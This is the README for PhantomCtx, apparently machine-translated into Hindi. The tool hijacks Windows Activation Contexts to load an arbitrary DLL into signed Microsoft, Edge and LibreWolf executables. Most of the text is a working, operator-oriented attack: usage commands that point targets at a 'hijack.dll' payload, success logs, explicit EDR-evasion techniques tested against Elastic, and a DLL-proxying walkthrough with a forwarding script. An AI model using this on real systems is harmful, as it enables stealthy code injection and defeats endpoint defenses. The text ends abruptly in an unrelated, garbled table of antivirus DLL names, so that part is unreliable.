PhantomCtx

PhantomCtx एक उपकरण है जो Activation Context हाईजैकिंग को स्वचालित करता है, जिसका उद्देश्य अधिकांश हस्ताक्षरित निष्पादनयोग्य (जैसे माइक्रोसॉफ्ट, एडोबी, मोज़िला) में एक मनमाना DLL लोड करना है।

लोडर को पारंपरिक DLL Hijacking & Sideloading के आधुनिक विकल्प के रूप में प्रस्तुत किया गया है: पारंपरिक दृष्टिकोणों के विपरीत, इसे किसी कमजोर बाइनरी की आवश्यकता नहीं होती। यह तकनीक तब तक की जा सकती है जब तक लक्ष्य निष्पादनयोग्य अपने Import Address Table (IAT) के माध्यम से एक DLL को हल करता है या, सबसे खराब स्थिति में, बिना पूर्ण पथ के LoadLibrary के माध्यम से।```c C:\PhantomCtx\x64>.\PhantomCtx.exe

            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m [MODE] [OPTIONS]

Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.

    -m spawn        Perform Activation Context Hijacking using an on-disk executable
                    (preferably a signed binary for OPSEC purposes).

    -m runtime      Perform Activation Context Hijacking on an already running process.

For a deeper dive into how it works internally and how it evades aggressive EDR solutions, check out the post on [my technical blog](https://rexmax.dev/posts/phantomctx-new-approach-to-activation-context-hijacking-for-edr-evasion/).

# विषय सूची

- [आंतरिक तंत्र](#internal-mechanism)
  - [EDR से बचाव पर केंद्रित एक्टिवेशन कॉन्टेक्स्ट हाइजैकिंग की एक नई विधि](#a-new-method-for-activation-context-hijacking-focused-on-edr-evasion)
- [संकलन कैसे करें](#how-to-compile)
- [उपयोग: मॉड्यूल-आधारित कार्यप्रवाह](#usage-module-based-workflow)
  - [रीकॉन](#recon)
  - [स्पॉन (अनुशंसित)](#spawn-recommended)
  - [रनटाइम](#runtime)
- [उदाहरण: एक्टिवेशन कॉन्टेक्स्ट हाइजैकिंग + mpnotify.exe का DLL प्रॉक्सीइंग](#example-activation-context-hijacking--dll-proxying-mpnotifyexe)
- [अस्वीकरण](#disclaimer)
- [संदर्भ](#references)

# आंतरिक तंत्र

`PhantomCtx` अधिकांश प्रक्रियाओं में मौजूद एक **वैध** विंडोज़ सुविधा का दुरुपयोग करता है, जिसे **एक्टिवेशन कॉन्टेक्स्ट** कहा जाता है। माइक्रोसॉफ्ट के अनुसार:

>[_एक्टिवेशन कॉन्टेक्स्ट_](https://learn.microsoft.com/en-us/windows/win32/sbscs/a-sbscs-gly) मेमोरी में डेटा संरचनाएं हैं जिनमें ऐसी जानकारी होती है जिसका उपयोग सिस्टम किसी एप्लिकेशन को **किसी विशेष DLL संस्करण**, COM ऑब्जेक्ट इंस्टेंस, या कस्टम विंडो संस्करण को लोड करने के लिए पुनर्निर्देशित करने के लिए कर सकता है...

जब विंडोज लोडर किसी DLL को हल करता है (`LoadLibrary` या इम्पोर्ट टेबल के माध्यम से), तो यह एक परिभाषित समाधान क्रम का पालन करता है:

1. DLL पुनर्निर्देशन
2. API सेट
3. **SxS मैनिफेस्ट पुनर्निर्देशन**
4. लोडेड-मॉड्यूल सूची
5. ज्ञात DLLs
6. प्रक्रिया पैकेज निर्भरता ग्राफ
7 – 12. डिस्क पर मानक फ़ाइल खोज क्रम

`PhantomCtx` चरण 3 को लक्षित करता है: **SxS मैनिफेस्ट पुनर्निर्देशन**। एक्टिवेशन कॉन्टेक्स्ट [Side-by-Side](https://en.wikipedia.org/wiki/Side-by-side_assembly) (`.manifest`) फ़ाइलों से प्राप्त होते हैं जो निष्पादन योग्य से जुड़ी होती हैं, आमतौर पर PE बाइनरी में एम्बेडेड होती हैं। आंतरिक रूप से, एक एक्टिवेशन कॉन्टेक्स्ट में एक **विषय सूची (ToC)** होती है जो कई अनुभागों को अनुक्रमित करती है, जिसमें **DLL पुनर्निर्देशन अनुभाग** भी शामिल है। लोडर आमतौर पर `PEB.ActivationContextData` के माध्यम से एक्टिवेशन कॉन्टेक्स्ट तक पहुंचता है।

[Kurosh Dabbagh Escalante](https://github.com/Kudaes) के शोध से पता चला कि `CreateActCtxW` का उपयोग करके एक दुर्भावनापूर्ण एक्टिवेशन कॉन्टेक्स्ट बनाया जा सकता है, इसे लक्ष्य प्रक्रिया में `RW` मेमोरी में लिखा जा सकता है, और फिर `PEB.ActivationContextData` को अधिलेखित करके तैयार संरचना की ओर इंगित करके सक्रिय किया जा सकता है।

एक बार हाइजैक होने के बाद, लोडर दुर्भावनापूर्ण एक्टिवेशन कॉन्टेक्स्ट में परिभाषित DLL पुनर्निर्देशन को हल करता है, **लाइब्रेरी समाधान को पुनर्निर्देशित** करता है, हमलावर द्वारा नियंत्रित पथों पर।

उनके शोध के हिस्से के रूप में विकसित `Eclipse` नामक लोडर को इसके [आधिकारिक रिपॉजिटरी](https://github.com/Kudaes/Eclipse) में पाया जा सकता है।

## EDR से बचाव पर केंद्रित एक्टिवेशन कॉन्टेक्स्ट हाइजैकिंग की एक नई विधि

कई परीक्षणों के बाद, `Eclipse` को आक्रामक EDR जैसे Elastic द्वारा निम्नलिखित बिंदुओं पर पता चला:

- `Potential Suspended Process Code Injection`: suspended process creation followed by `NtWriteVirtualMemory` to copy the AC blob into the remote process.
- `Remote Process Memory Write by Low Reputation Module`: `NtWriteVirtualMemory` without `CreateProcess` in the call stack and a low-reputation module, needed for overwriting `PEB.ActivationContextData`.
- `Remote Memory Write to Trusted Target Process`: `WriteProcessMemory` without `CreateProcess` in the call stack, restricted to system/user-installed binaries.

`PhantomCtx` में वैकल्पिक दृष्टिकोण लागू करने के लिए एक दिन के शोध के बाद, मैंने पाया कि **मूल एक्टिवेशन कॉन्टेक्स्ट का मेमोरी क्षेत्र प्रक्रिया निर्माण के दौरान मैप किया गया एक सेक्शन व्यू है**। इस सेक्शन व्यू को `NtUnmapViewOfSection` का उपयोग करके **अनमैप करना** संभव है और फिर हमारे दुर्भावनापूर्ण एक्टिवेशन कॉन्टेक्स्ट द्वारा समर्थित एक नया रीड-ओनली सेक्शन व्यू बनाना, इसे **उसी मेमोरी पते** पर मैप करना जहां मूल स्थित था।

परिणामस्वरूप, लोडर के लिए `PEB.ActivationContextData` पॉइंटर को अधिलेखित करना **अब आवश्यक नहीं** है। यह `NtAllocateVirtualMemory` और `NtWriteVirtualMemory` का उपयोग करने की आवश्यकता को समाप्त करता है, रिमोट प्रक्रिया मेमोरी राइट और इंजेक्शन से संबंधित सभी EDR मॉनिटरिंग नियमों को दरकिनार करता है।

इसके अतिरिक्त, पहचान की कठिनाई बढ़ाने के लिए, `PhantomCtx` `CreateActCtxW` का उपयोग नहीं करता है, हमले के दौरान `.manifest` फ़ाइलों को संभालने की आवश्यकता को समाप्त करता है। चयनित मोड के आधार पर, यह `NtReadVirtualMemory` का उपयोग करके एक वैध DLL पुनर्निर्देशन अनुभाग वाले **दूसरे रिमोट प्रक्रिया से एक्टिवेशन कॉन्टेक्स्ट चुरा** सकता है, DLL पुनर्निर्देशन प्रविष्टियों को स्थानीय रूप से पुनर्निर्माण कर सकता है, इसे पैच कर सकता है, और फिर मूल को बदल सकता है।

# संकलन कैसे करें

टूल को संकलित करने के लिए, Visual Studio या एक संगत कंपाइलर का उपयोग करने की अनुशंसा की जाती है।

यदि VS का उपयोग कर रहे हैं, तो `x64 Native Tools Command Prompt for VS` खोलें, प्रोजेक्ट रूट डायरेक्टरी पर जाएं और `compile.bat` के साथ इसे संकलित करें:```
C:\PhantomCtx>.\compile.bat
[INFO] Created output directory: x64
[INFO] Compiling PhantomCtx...
main.c
utils.c
recon.c
actctx.c
c_runtime.c
dynamic_resolution.c
process_utils.c
spawn.c
runtime.c
Generating Code...
[SUCCESSFUL] Build successful: x64\PhantomCtx.exe

उपयोग: मॉड्यूल-आधारित कार्यप्रवाह

यह उपकरण मॉड्यूलर आर्किटेक्चर के साथ डिज़ाइन किया गया है ताकि विकास को सरल बनाया जा सके और ऑपरेटर को एक स्पष्ट, चरण-आधारित कार्यप्रवाह प्रदान किया जा सके।

प्रत्येक मॉड्यूल शोषण कार्यप्रवाह में एक विशिष्ट भूमिका निभाता है।

कृपया प्रत्येक के उद्देश्य की समीक्षा करने के लिए एक क्षण लें ताकि उपकरण की क्षमताओं का पूरा लाभ उठाया जा सके!!!

हमला या तो स्पॉन किए जाने वाले प्रक्रिया (अनुशंसित) पर या पहले से चल रही प्रक्रिया पर किया जा सकता है। उपकरण दोनों परिदृश्यों को संभालने के लिए डिज़ाइन किया गया है।```c C:\PhantomCtx\x64>.\PhantomCtx.exe

            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m [MODE] [OPTIONS]

Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.

    -m spawn        Perform Activation Context Hijacking using an on-disk executable
                    (preferably a signed binary for OPSEC purposes).

    -m runtime      Perform Activation Context Hijacking on an already running process.

## Recon

`recon` मोड लक्ष्य प्रोग्राम या चल रही प्रक्रिया के सक्रियण संदर्भ (Activation Context) का विश्लेषण करने पर केंद्रित है। यह पहला मॉड्यूल है जिसे निष्पादित किया जाना चाहिए, क्योंकि यह निर्धारित करता है कि शोषण कार्यप्रवाह (exploitation workflow) में किस शोषण उप-मॉड्यूल का उपयोग किया जाना चाहिए।```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -h

                +----------------------------------+
                |         PhantomCtx v1.0          |
                +----------------------------------+

  Usage:
        PhantomCtx.exe -m recon -s [SUBMODE] -p [PROCESS_NAME|PATH]

  Submodes:
        -s spawn        Spawn a process in suspended mode to retrieve its
                        Activation Context DLL redirection information.

        -s runtime      Attach to a currently running process to retrieve its
                        Activation Context DLL redirection information.

  Examples:
        PhantomCtx.exe -m recon -s spawn   -p C:\path\to\target.exe
        PhantomCtx.exe -m recon -s runtime -p target.exe

एक उदाहरण के रूप में, हम हस्ताक्षरित Microsoft बाइनरी mpnotify.exe का उपयोग करते हैं। पहला कदम यह निर्धारित करना है कि इसमें DLL रीडायरेक्शन सेक्शन के साथ एक वैध Activation Context है या नहीं।

यदि नहीं है, तो उपकरण spawn या runtime मोड के तहत steal-context उपमॉड्यूल की सिफारिश करता है, जो एक वैध रीडायरेक्शन सेक्शन वाली किसी अन्य प्रक्रिया से एक Activation Context प्राप्त करता है।```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Windows\System32\mpnotify.exe" [SUCCESS] Suspended process created... [SUCCESS] Activation Context Data Blob copied to local heap buffer @00000294CEA79CD0 (916 bytes)

+-[ ACTIVATION CONTEXT DATA ] | Magic : 0x78746341 (Actx) | HeaderSize : 0x20 (32 bytes) | FormatVersion : 1 | TotalSize : 0x394 (916 bytes) | Flags : 0x00000000 | +--[ TOC ] 6 entries | [00] Id=1 Format=1 Offset=0x00D4 Length=0x0218 | [01] Id=4 Format=2 Offset=0x02EC Length=0x0028 | [02] Id=5 Format=2 Offset=0x0314 Length=0x0028 | [03] Id=6 Format=2 Offset=0x033C Length=0x0028 | [04] Id=9 Format=2 Offset=0x0364 Length=0x0028 | [05] Id=11 Format=1 Offset=0x038C Length=0x0008 | +--[ DLL REDIRECTION ] not present in this blob | +--[ HINT ] Use 'steal-context' to steal the Activation Context from a running process that has one. Example: -m spawn|runtime -s steal-context -p -d --dll-path --steal-from

यदि लक्ष्य प्रोग्राम या प्रक्रिया सक्रियण संदर्भ (Activation Context) में एक वैध DLL पुनर्निर्देशन अनुभाग है, तो सबसे कुशल तरीका `spawn` या `runtime` शोषण मोड के अंतर्गत `add-entry` या `patch-entry` उप-मॉड्यूल का उपयोग करना है।

## Spawn (अनुशंसित)

`spawn` मोड लक्ष्य प्रणाली पर एक हस्ताक्षरित निष्पादन योग्य से एक प्रक्रिया उत्पन्न करके सक्रियण संदर्भ अपहरण (Activation Context hijacking) करने के लिए डिज़ाइन किया गया है।

यह विधि **सबसे अधिक अनुशंसित** और पूरी तरह से परीक्षित है, इसकी परिचालन सरलता और विश्वसनीयता के कारण।```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -h

                +----------------------------------+
                |         PhantomCtx v1.0          |
                +----------------------------------+

  Usage:
        PhantomCtx.exe -m spawn -s [SUBMODE] -p [PATH] [OPTIONS]

  Submodes:
        -s steal-context        Spawn a process and hijack its Activation Context
                                by stealing the context from another running process.

        -s add-entry            Spawn a process and hijack its Activation Context
                                by adding a new DLL redirection entry.

        -s patch-entry          Spawn a process and hijack its Activation Context
                                by patching the path of an existing DLL redirection entry.

  Options:
        -p <PATH>               Path to the target executable to spawn.
        -d <DLL>                Name of the DLL to hijack (e.g. comctl32.dll).
        --dll-path <PATH>       Path to the custom DLL to load.

  steal-context Options:
        --steal-from <NAME>     Process name to steal the Activation Context from.

  Examples:
        PhantomCtx.exe -m spawn -s steal-context  -p C:\program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
        PhantomCtx.exe -m spawn -s add-entry      -p C:\program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
        PhantomCtx.exe -m spawn -s patch-entry    -p C:\program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll

इस मोड का आंतरिक कार्यप्रवाह इस प्रकार है:

CreateProcessW का उपयोग करके लक्ष्य प्रक्रिया को निलंबित अवस्था में बनाएं।
चयनित उपमॉड्यूल के आधार पर:
- steal-context: चोरी करने की प्रक्रिया खोलें और DLL रीडायरेक्शन अनुभाग वाले एक वैध सक्रियण संदर्भ को स्थानीय बफर में कॉपी करें। लक्ष्य DLL के लिए कोई प्रविष्टि पहले से मौजूद है या नहीं, इसके आधार पर, एक नई प्रविष्टि बनाई जाती है या मौजूदा प्रविष्टि को पैच किया जाता है। फिर संशोधित सक्रियण संदर्भ को निलंबित प्रक्रिया में मैप किया जाता है, मूल को बदलते हुए।
- add-entry: निलंबित प्रोग्राम प्रक्रिया खोलें और इसके सक्रियण संदर्भ को स्थानीय बफर में कॉपी करें। निर्दिष्ट DLL के लिए एक नई DLL रीडायरेक्शन प्रविष्टि जोड़ी जाती है, और संशोधित सक्रियण संदर्भ मूल को बदल देता है।
- patch-entry: निलंबित प्रोग्राम प्रक्रिया खोलें और इसके सक्रियण संदर्भ को स्थानीय बफर में कॉपी करें। निर्दिष्ट DLL के लिए मौजूदा DLL रीडायरेक्शन प्रविष्टि को प्रदान किए गए पेलोड DLL पथ को इंगित करने के लिए पैच किया जाता है, और संशोधित सक्रियण संदर्भ मूल को बदल देता है।
ResumeThread का उपयोग करके निलंबित प्रक्रिया का निष्पादन फिर से शुरू करें।

steal-context उपमॉड्यूल की सिफारिश तब की जाती है जब लक्ष्य निष्पादन योग्य में एक वैध सक्रियण संदर्भ या एक वैध DLL रीडायरेक्शन अनुभाग नहीं होता है। यह पहले से निष्पादित recon मॉड्यूल का उपयोग करके निर्धारित किया जा सकता है।

संदर्भ चोरी के लिए एक विश्वसनीय लक्ष्य explorer.exe है। इससे अस्थिरता या पता लगने का जोखिम नहीं होता है, क्योंकि ऑपरेशन में केवल वर्चुअल मेमोरी पढ़ना शामिल है।```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path C:\hijack\hijack.dll [SUCCESS] Found 'explorer.exe' PID 1604 [SUCCESS] Opened handle to PID 1604 [SUCCESS] Activation Context Data Blob copied to local heap buffer @000001AC80F53FD0 (8256 bytes) [INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2040 [INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\hijack\hijack.dll' [+] 'advapi32.dll' not found -> adding new entry. [ADD] DLL key : advapi32.dll [ADD] Redirect path : C:\hijack\hijack.dll [ADD] PseudoKey : 0xF60E87FC [ADD] RosterIndex : 1 [ADD] ElementCount : 3 [ADD] TotalSize : 0x2040 -> 0x20E4 [SUCCESS] Blob patched. New TotalSize = 0x20E4

[SUCCESS] Original Activation Context region unmapped @ 00000164EA0A0000 [SUCCESS] Patched Activation Context mapped at 00000164EA0A0000 (same address) [SUCCESS] Target process resumed. ``` `add-entry` और `patch-entry` उपमॉड्यूल का उपयोग तब किया जाता है जब **एप्लिकेशन के पास पहले से ही DLL रीडायरेक्शन अनुभाग के साथ एक वैध Activation Context हो** और:

इसमें पहले से ही किसी DLL के लिए एक रीडायरेक्शन प्रविष्टि है; इस स्थिति में, patch-entry उपयुक्त विकल्प है।
किसी लाइब्रेरी के लिए एक कस्टम रीडायरेक्शन जोड़ने की आवश्यकता है जिसके निष्पादन के दौरान लोड होने की उम्मीद है; इस स्थिति में, add-entry का उपयोग किया जाता है।

हालांकि इन परिदृश्यों में steal-context का अभी भी उपयोग किया जा सकता है, लेकिन यह आमतौर पर अनावश्यक है, क्योंकि संशोधन के लिए पहले से ही एक वैध Activation Context उपलब्ध है।

PhantomCtx के साथ msedge.exe को सूचीबद्ध करने के बाद patch-entry का एक उदाहरण देखा जा सकता है, जहां msedge_elf.dll के लिए एक मौजूदा कस्टम रीडायरेक्शन प्रविष्टि पहचानी जाती है:```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"

C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s patch-entry -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -d msedge_elf.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll ``` वैकल्पिक रूप से, लक्ष्य प्रक्रिया के IAT की गणना करके, हाइजैकिंग के लिए उपयुक्त आयातित DLLs की पहचान की जा सकती है। उदाहरण के लिए, `librewolf.exe` `SHLWAPI.dll` को आयात करता है, भले ही वह एक्टिवेशन कॉन्टेक्स्ट मैनिफेस्ट में मौजूद न हो; ऐसे मामलों में, इसे रीडायरेक्शन तालिका में जोड़कर रिजॉल्यूशन को बाध्य किया जा सकता है।```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s add-entry -p "C:\Program Files\LibreWolf\librewolf.exe" -d SHLWAPI.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

runtime मोड एक हस्ताक्षरित, पहले से चल रही प्रक्रिया पर एक्टिवेशन कॉन्टेक्स्ट हाईजैकिंग करने के लिए डिज़ाइन किया गया है।

हालांकि यह मॉड्यूल लागू किया गया है, इसकी प्रभावशीलता प्रक्रिया रनटाइम के दौरान कब और कौन सी विशिष्ट लाइब्रेरी लोड होती है, यह सटीक रूप से जानने पर निर्भर करती है। परिणामस्वरूप, भले ही वैध प्रक्रिया का एक्टिवेशन कॉन्टेक्स्ट हाईजैक हो जाए, सफलता अभी भी लक्ष्य के द्वारा बिना स्पष्ट पथ के LoadLibrary को कॉल करने पर निर्भर करती है, जिसका अनुमान लगाना अक्सर मुश्किल होता है।```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -h

            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m runtime -s [SUBMODE] -p [PROCESS_NAME] [OPTIONS]

Submodes: -s steal-context Hijack the Activation Context of a running process by stealing the context from another running process.

    -s add-entry            Hijack the Activation Context of a running process
                            by adding a new DLL redirection entry.

    -s patch-entry          Hijack the Activation Context of a running process
                            by patching the path of an existing DLL redirection entry.

Options: -p <PROCESS_NAME> Name of the already running target process (e.g. notepad.exe). -d Name of the DLL to hijack (e.g. comctl32.dll). --dll-path Path to the custom DLL to load.

steal-context Options: --steal-from Process name to steal the Activation Context from.

Examples: PhantomCtx.exe -m runtime -s steal-context -p program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s add-entry -p program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s patch-entry -p program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll

इस मोड का आंतरिक कार्यप्रवाह इस प्रकार है:
1. लक्ष्य प्रक्रिया का PID उसके एक्जीक्यूटेबल नाम से पहचाना जाता है, और प्रक्रिया को अनुमतियों `PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION` के साथ खोला जाता है।
2. चयनित उप-मॉड्यूल के आधार पर:
    - `steal-context`: स्टीलिंग प्रक्रिया खोलें और DLL रीडायरेक्शन सेक्शन वाले एक वैध एक्टिवेशन कॉन्टेक्स्ट को स्थानीय बफर में कॉपी करें। यह इस बात पर निर्भर करता है कि लक्ष्य DLL के लिए कोई एंट्री पहले से मौजूद है या नहीं, एक नई एंट्री बनाई जाती है या मौजूदा एंट्री को पैच किया जाता है। संशोधित एक्टिवेशन कॉन्टेक्स्ट को फिर चल रही प्रक्रिया में मैप किया जाता है, जो मूल को बदल देता है।
	  
	- `add-entry`: लक्ष्य चल रही प्रक्रिया खोलें और उसके एक्टिवेशन कॉन्टेक्स्ट को स्थानीय बफर में कॉपी करें। निर्दिष्ट DLL के लिए एक नई DLL रीडायरेक्शन एंट्री जोड़ी जाती है, और संशोधित एक्टिवेशन कॉन्टेक्स्ट मूल को बदल देता है।
	  
	- `patch-entry`: लक्ष्य चल रही प्रक्रिया खोलें और उसके एक्टिवेशन कॉन्टेक्स्ट को स्थानीय बफर में कॉपी करें। निर्दिष्ट DLL के लिए मौजूदा DLL रीडायरेक्शन एंट्री को प्रदान किए गए पेलोड DLL की ओर इंगित करने के लिए पैच किया जाता है, और अद्यतन एक्टिवेशन कॉन्टेक्स्ट मूल को बदल देता है।

`steal-context` उप-मॉड्यूल तब अनुशंसित है जब **लक्ष्य चल रही प्रक्रिया में कोई वैध एक्टिवेशन कॉन्टेक्स्ट या वैध DLL रीडायरेक्शन सेक्शन नहीं है**। यह पहले से निष्पादित `recon` मॉड्यूल का उपयोग करके निर्धारित किया जा सकता है।

कॉन्टेक्स्ट चुराने के लिए एक विश्वसनीय लक्ष्य `explorer.exe` है। इससे अस्थिरता या पहचान का जोखिम नहीं होता, क्योंकि ऑपरेशन में केवल वर्चुअल मेमोरी पढ़ना शामिल है।```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s steal-context -p cmd.exe --steal-from explorer.exe -d user32.dll --dll-path C:\hijack\hijack.dll

<SNIP>

[INFO] Patched ActivationContextData:

<SNIP>
|
+--[ DLL REDIRECTION ] 3 entries
|  [00] user32.dll
|       PseudoKey  : 0x0DB00860
|       RosterIdx  : 1
|       Flags      : PATH_INCLUDES_BASE_NAME
|       Segments   : 1  PathLen=40 bytes
|       Path       : C:\hijack\hijack.dll

<SNIP>
[SUCCESS] Activation Context hijacked in running process 'cmd.exe'.

The add-entry and patch-entry submodules are used when the running process already has a valid Activation Context with a DLL redirection section and:

It already contains a redirection entry for a DLL; in this case, patch-entry is the appropriate option.
A custom redirection needs to be added for a library that is expected to be loaded during execution; in this case, add-entry is used.

Although steal-context can still be used in these scenarios, it is generally unnecessary, as a valid Activation Context is already available for modification.

A patch-entry example can be observed after enumerating the process msedge.exe with PhantomCtx, where an existing custom redirection entry for msedge_elf.dll is identified:```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s runtime -p msedge.exe

C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s patch-entry -p msedge.exe -d msedge_elf.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | [SUCCESS] Activation Context hijacked in running process 'msedge.exe'. ``` वैकल्पिक रूप से, लक्ष्य प्रक्रिया के रनटाइम ईवेंट को गणना करके, निष्पादन के दौरान लोड किए गए DLL जो हाइजैकिंग के लिए उपयुक्त हैं, की पहचान `Procmon` जैसे उपकरणों का उपयोग करके की जा सकती है। ऐसे मामलों में, इसे रिडायरेक्शन तालिका में जोड़ा जा सकता है ताकि रिज़ॉल्यूशन को बलपूर्वक किया जा सके।```c .\PhantomCtx.exe -m runtime -s add-entry -p msedge.exe -d target.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

आइए एक व्यावहारिक उपयोग मामले को देखें जिसमें PhantomCtx पूरी तरह से अपडेटेड Windows 11 मशीन पर, जो सभी नियमों को सक्षम और Prevent मोड पर सेट Elastic Cloud XDR एजेंट चला रही है, का पता लगाने में असमर्थ रहता है ताकि इसे यथासंभव आक्रामक बनाया जा सके।

ध्यान दें कि हम Windows 11 बायनेरिज़ को लक्षित कर रहे हैं; इसलिए, यदि हमारा हमलावर मशीन Windows 10 चला रहा है, तो हमें विश्लेषित एक्जीक्यूटेबल्स और DLL को अपनी मशीन पर स्थानांतरित करना होगा।

पहला कदम एक Windows एक्जीक्यूटेबल की पहचान करना है जो प्रासंगिक DLL आयात करता है।

इस मामले में, हम हस्ताक्षरित एक्जीक्यूटेबल C:\Windows\System32\mpnotify.exe के इम्पोर्ट एड्रेस टेबल (IAT) का निरीक्षण करने के लिए PE-Bear का उपयोग करेंगे, जहाँ ADVAPI32.dll को इसके आयातों में से एक के रूप में पहचाना जा सकता है:

एप्लिकेशन को क्रैश होने या हमारे पेलोड को लोड करते समय अप्रत्याशित व्यवहार प्रदर्शित करने से रोकने के लिए, DLL प्रॉक्सीइंग की जानी चाहिए ताकि हमारा पेलोड कॉल को मूल DLL पर अग्रेषित करे।

DLL Export Viewer का उपयोग ADVAPI32.dll से सभी निर्यातित फ़ंक्शन निकालने और फ़ॉरवर्डिंग निर्देश उत्पन्न करने के लिए किया जाएगा, जो हमारे प्रॉक्सी DLL के स्रोत कोड में निर्दिष्ट किए जाएंगे।

एक बार C:\Windows\System32\advapi32.dll DLL Export Viewer में खोलने पर, View > HTML Report - All Functions पर नेविगेट करें।

ब्राउज़र विंडो को खुला रखना आवश्यक है ताकि उत्पन्न report.html फ़ाइल उपलब्ध रहे। फिर फ़ाइल पथ को कॉपी किया जाता है और itm4n द्वारा विकसित निम्नलिखित Python स्क्रिप्ट का उपयोग करके संसाधित किया जाता है:```python """ The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately. """ from future import print_function import argparse

def main(): parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser") parser.add_argument("report", help="the HTML report generated by DLL Export Viewer") args = parser.parse_args() report = args.report

try:
    f = open(report)
    page = f.readlines()
    f.close()
except:
    print("[-] ERROR: open('%s')" % report)
    return

for line in page:
    if line.startswith("<tr>"):
        cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
        function_name = cols[1]
        ordinal = cols[4].split(' ')[0]
        dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
        print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))

if name == 'main': main()

| 384    | `FILE_NAME`                  | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `WscLyra.dll`           | `WscLyra.dll`           | `LzNvB`          |
| 385    | `FILE_NAME`                  | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `WscMEP.dll`            | `WscMEP.dll`            | `LzNvB`          |
| 386    | `FILE_NAME`                  | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `WscMercury.dll`        | `WscMercury.dll`        | `LzNvB`          |
| 387    | `FILE_NAME`                  | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `K7AVWSc.dll`           | `K7AVWSc.dll`           | `LzNvB`          |
| 388    | `FILE_NAME`                  | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `PavWSC.dll`            | `PavWSC.dll`            | `LzNvB`          |
| 389    | `FILE_NAME`                  | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `tmwscsvc.dll`          | `tmwscsvc.dll`          | `LzNvB`          |
| 390    | `FILE_NAME`                  | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `WebrootWSCPlugin.dll`  | `WebrootWSCPlugin.dll`  | `LzNvB`          |
| 391    | `LzNvB`                      | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `wcsc.dll`              | `wcsc.dll`              | `LzNvB`          |
| 392    | `LzNvB`                      | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `wsc.dll`               | `wsc.dll`               | `LzNvB`          |
| 393    | `LzNvB`                      | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `AraWSCSvc.dll`         | `AraWSCSvc.dll`         | `LzNvB`          |
| 394    | `LzNvB`                      | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `wsc.dll`               | `wsc.dll`               | `LzNvB`          |
| 395    | `LzNvB`                      | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `EPPwsc.dll`            | `EPPwsc.dll`            | `LzNvB`          |
| 396    | `LzNvB`                      | `LzNvB`                       | `16.0.17331.20004`        | `Windows`      | सीमित आवधिक स्कैनिंग                                                                | `TfWscSvc.dll`          | `TfWscSvc.dll`          | `LzNvB`          |
